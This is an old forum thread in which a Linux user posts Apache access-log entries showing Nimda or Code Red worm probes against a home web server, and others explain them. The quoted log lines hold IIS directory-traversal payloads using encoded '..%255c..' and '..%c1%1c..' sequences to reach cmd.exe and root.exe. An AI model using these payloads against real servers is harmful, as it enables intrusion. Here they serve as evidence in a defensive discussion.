Computer /var/log/httpd/access_log

Yesterday I happened to check /var/log/httpd/access_log and found some funny things like these,

209.127.62.159 - - [30/Sep/2001:21:23:09 -0400] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210
209.127.62.159 - - [30/Sep/2001:21:23:10 -0400] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208
209.127.62.159 - - [30/Sep/2001:21:23:11 -0400] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
209.127.62.159 - - [30/Sep/2001:21:23:11 -0400] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
209.127.62.159 - - [30/Sep/2001:21:23:12 -0400] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
209.127.62.159 - - [30/Sep/2001:21:23:13 -0400] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
209.127.62.159 - - [30/Sep/2001:21:23:13 -0400] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
209.127.62.159 - - [30/Sep/2001:21:23:14 -0400] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 265

Obviously, the access treated my machine like NT/IIS. As we can see from the log, it was trying harder and harder. If I had not shut down port 80, it would have created hundreds of lines in the log file. I also checked the log of the past 3 months, there are about 200 tries of this kind from various ranges of IP address.

I think this is apparently virus attack. Has anybody here ever found such log? I just dial-up to the Internet and the connection lasted for about 30 minutes and I got this attack. I would keep my httpd closed. Thank god, my system is Linux, not NT.Smilie

This is like the nimda virus, or its variant. The world has been getting hammered by it for some time. However, since we are !NT , no problem, just an annoyance.

This link might be interesting to read:

Nimda@home, the search for intelligence on the internet

If you've got some spare processor lying around and the bandwidth to go with it, there are some scripts out there that will scan your logs, take the ips of the infected scanners, and resolve them, and tehn send off a mail to their ISP or whoever, and inform them of the machine's condition.....

Yeah, those logs could be not only Nimda, but a "code Red" variant, or somebody scanning like heck trying to break into a server that code red already rooted. If they're from similar ( or the same ) IP address, it's most likely somebody in your subnet affected - I think Nimda only scans the 16 address above and below theirs (I may be confusing this with another worm, though).
